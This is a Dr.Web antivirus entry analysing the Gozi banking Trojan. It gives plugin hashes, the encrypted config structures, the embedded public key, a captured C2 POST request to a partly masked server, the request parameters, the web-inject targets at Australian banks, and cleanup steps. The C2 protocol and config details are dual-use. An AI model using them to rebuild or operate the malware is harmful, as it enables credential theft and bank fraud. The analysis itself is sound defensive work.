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Trojan.Gozi.64

Added to the Dr.Web virus database: 2017-11-13

Virus description added:

SHA1:

  • SHA1 loader stage 1
  • b974346e2b3a32720d4a214ca2b18a0032867f12
  • SHA1 loader.dll x32 stage 2
  • 1c8e47942eb0bdd32fe2883dee5953de6e06b9b8
  • SHA1 loader.dll x64 stage 2
  • 1a3bceab8c90779fd06760a037a347d21849fe3b

Plugins:

  • vnc.dll x32
  • 016380ad20f90f73452445ed98a6dff61b0c85cd
  • vnc.dll x64
  • c438001acfdb892c51c803655807c74008f69fc6
  • socks.dll x32
  • b62d2ed65fff0a703697119180b1d2795e39b2ee
  • socks.dll x64
  • 3043a90a3c241af9abc06f9970a01522b43f7195
  • rt.dll x32
  • f6760c7e5d0ba32faf63c80b54eac8b689fd1722
  • rt.dll x64
  • 6ac9b097615fa5e87cf1907311aec20add396dcf
  • netwrk.dll x32
  • 495cceb288e0448752951ab3204e537ce93e0384
  • netwrk.dll x64
  • eeb711d28ecd700ef3e09d4a939dccadc693764f
  • microsoftedgecp.dll x32
  • 5744368c2c0698d5fc1fae6a2727ade044536d08
  • microsoftedgecp.dll x64
  • 67913bbbdfbe1a23c2431b547e4c9053021860e3
  • mail.dll x32
  • f09a7a74425aa13fc0983de1e01e09e5b37dd619
  • mail.dll x64
  • 65eb56f226d30fee4dd1ff959b240d51d2c11b28
  • keylog.dll x32
  • 876a6e4fae43fcb56136ba0c92670869f292266b
  • keylog.dll x64
  • 00eb9b1f5cd1224cc8b702ae1046ed776960c185
  • iexplore.dll x32
  • 2162e531aaa9f619614268d89b34d46e6180d37a
  • iexplore.dll x64
  • c2b48a41224624be5cc0e7d2b6ae8b9cb96cf047
  • firefox.dll x32
  • 912388017d805b758ea29bcad8bf009d85822c72
  • firefox.dll x64
  • f0812d9899fa5b2e76a4bb00e95abaeae260804a
  • explorer.dll x32
  • 2e14d58151660e70cd436d0f47ef61be10ee9209
  • explorer.dll x64
  • b7e5955dc9373425edb49017f26d3e269eb417e9
  • chrome.dll x32
  • 2fa8fd2f66ecf4f7db886eb1d765aa76e9b64aac
  • chrome.dll x64
  • 2b5e45bb3fa8bb7e22b4cb02897c14966c389bff
  • browsers.dll x32
  • 3f3732f6d3f8ad9db2dc227aab237bdaea982902
  • browsers.dll x64
  • e3e6081df357e9d55873c91d00e693fb515e24cd
  • bl.dll x32
  • ea9350ce1fe2ecd1776424ce5aa72f5fbb48448c
  • bl.dll x64
  • f8a783a3438f7d73d966d885846f874f7382d298

A banking Trojan for 32- and 64-bit Windows versions. Its executable file contains an encrypted container which stores a loader and an initial configuration. From the PE file, the Trojan reads Security Data Directory, which stores information on configuration of modules:

struct cfginfo_t
{
    DWORD size; //configuration size
    WORD magic; //0x334A
    WORD unk1;
}

Then the blocks themselves follow:

struct cfgblock_t
{
    DWORD idname; //name of the plugin ^ key
    DWORD size; //size of the plugin ^ key
    DWORD key; //the key used to encrypt with XOR every field of this structure
    DWORD rva; //rva of the data ^ key
};

The number of blocks is calculated according to the following formula:

n=(cfginfo_t.size-0xC)/0x10

The result of decryption is a public key in the polarssl format, which looks the following way in the PEM format:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDD3AfU4ayUEHchQ3H0W1/d3ziW
VNCFHWaAm8mJq6hQwn03GNGV7hOICH8h/+dZGEwYWVnRq128QMPZTIj0b+iqHKlM
sHzxEIZlWUVvnfbx6unDAC8aJXovmePrPvbHJ1FrplzlbILiPLvofh7pXzTdfcDQ
e3wfV7cbxJ3DXessqwIDAQAB
-----END PUBLIC KEY-----

The previous Gozi version left unused strings in the basic configuration of the Trojan.

To connect to a remote server, the Trojan requires its address, a server key, group name and a public key, and also two files of the library LOADER.dll x32/x64. Requests are encrypted using the serpent+base64 algorithms with additional substitution of some characters; server responses are encrypted using the RSA + serpent algorithms and compressed with aplib.

Then the loader.dll library is loaded; the data is sent to the command and control server using the POST requests. The payload is sent in the format multipart/form-data:

POST /index.html HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary=b8bf4e8dfe2ca714
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Content-Length: 309
Host: 185.***.***.19

--b8bf4e8dfe2ca714 Content-Disposition: form-data; name="bjdu" jR5u5cY2EI3FkzX/y1l2gdYYjDvqNnMdEva1W_/2BcENsVuze9Zb6mc/f9rkXZw1X/fXyeq8bAJpYM/0sthsZwlgF7yG3t3V/Vcxct0rTybjIqETZg94C/Kdk9NGIv0up_2FSQzWu5Au3/oYrMIKkqEXD_2Fa8a0JF_/2B63vuyz/zbp7ODpeVvi/5o2C_2F4VY/7C_2BX6DzWW/FeNdnBVU/S --b8bf4e8dfe2ca714--

The following fields are indicated in User-Agent:

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) 
Gecko/20100101 Firefox/50.0 
OS version                 6.00
Subsystem version          1.00

Creators of the Trojan embedded a restriction which allows the malicious program to operate with ntdll.dll, the value of the “OS version” field in the PE header must be >=6, i.e. with Microsoft Windows 7 and its later versions.

Requests are encrypted and have the following parameters:

{'uptime': '1497', 'group': '1201117', 'type': '0', 'crc': '00000000', 'arc': '0', 'version': '300499', 'user': '137dfe28b759ae0de8853ec3503d35e9', 'soft': '2', 'id': '8576b0d0'}

where id is the value CRC-32/JAMCRC(plugname.upper()) of the plugin name in uppercase. Response packets are also encrypted, and, for some types of requests, they are compressed using aplib.

The loader downloads the following basic modules:

bl.dll 0x8576b0d0
explorer.dll 0x224c6c42
netwrk.dll 0x45a0fcd0
rt.dll 0xd6306e08
baseconfig 0xd722afcb

The baseconfig module stores the basic configuration, which contains addresses of the additional command and control servers and a master key for the connection to the server.

Other modules have the following functions:

  • explorer.dll—the main module of the Trojan. It loads and executes the rest of the components using the basic plugins (bl.dll, rt.dll, netwrk.dll);
  • bl.dll—performing of web injections, various types of interactions with named Windows pipes, execution of files from the memory, encryption;
  • rt.dll—interaction with the Windows system registry, with files, operations with strings;
  • netwrk.dll—functions of operation with the network.

The module explorer.dll executes several task types:

  • Check for any updates for the Trojan;
  • Download from a remote server plugins for browsers used for web injections;
  • Download web-injection configurations from a remote server;
  • Obtain personal tasks, including those requiring the download of additional plugins;
  • Remote computer administration.

In order to perform web injections, the Trojan uses its own configurable plugin:

  • browsers.dll 0xe6954637
  • iexplore.dll 0x5f92dac2
  • firefox.dll 0x309d98ff
  • microsoftedgecp.dll 0x7f23179c
  • chrome.dll 0x9eff4536

The configuration data for execution of web injections are packed in a ZIP file and compressed with aplib:

au_com_bankofmelbourne_bbo.sig
au_com_banksa_bbo.sig
au_com_stgeorge_bbo.sig
Expro.sig
main.sig
transactive_corp.sig
transman_corp.sig
westpac_corp.sig

News about the Trojan

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android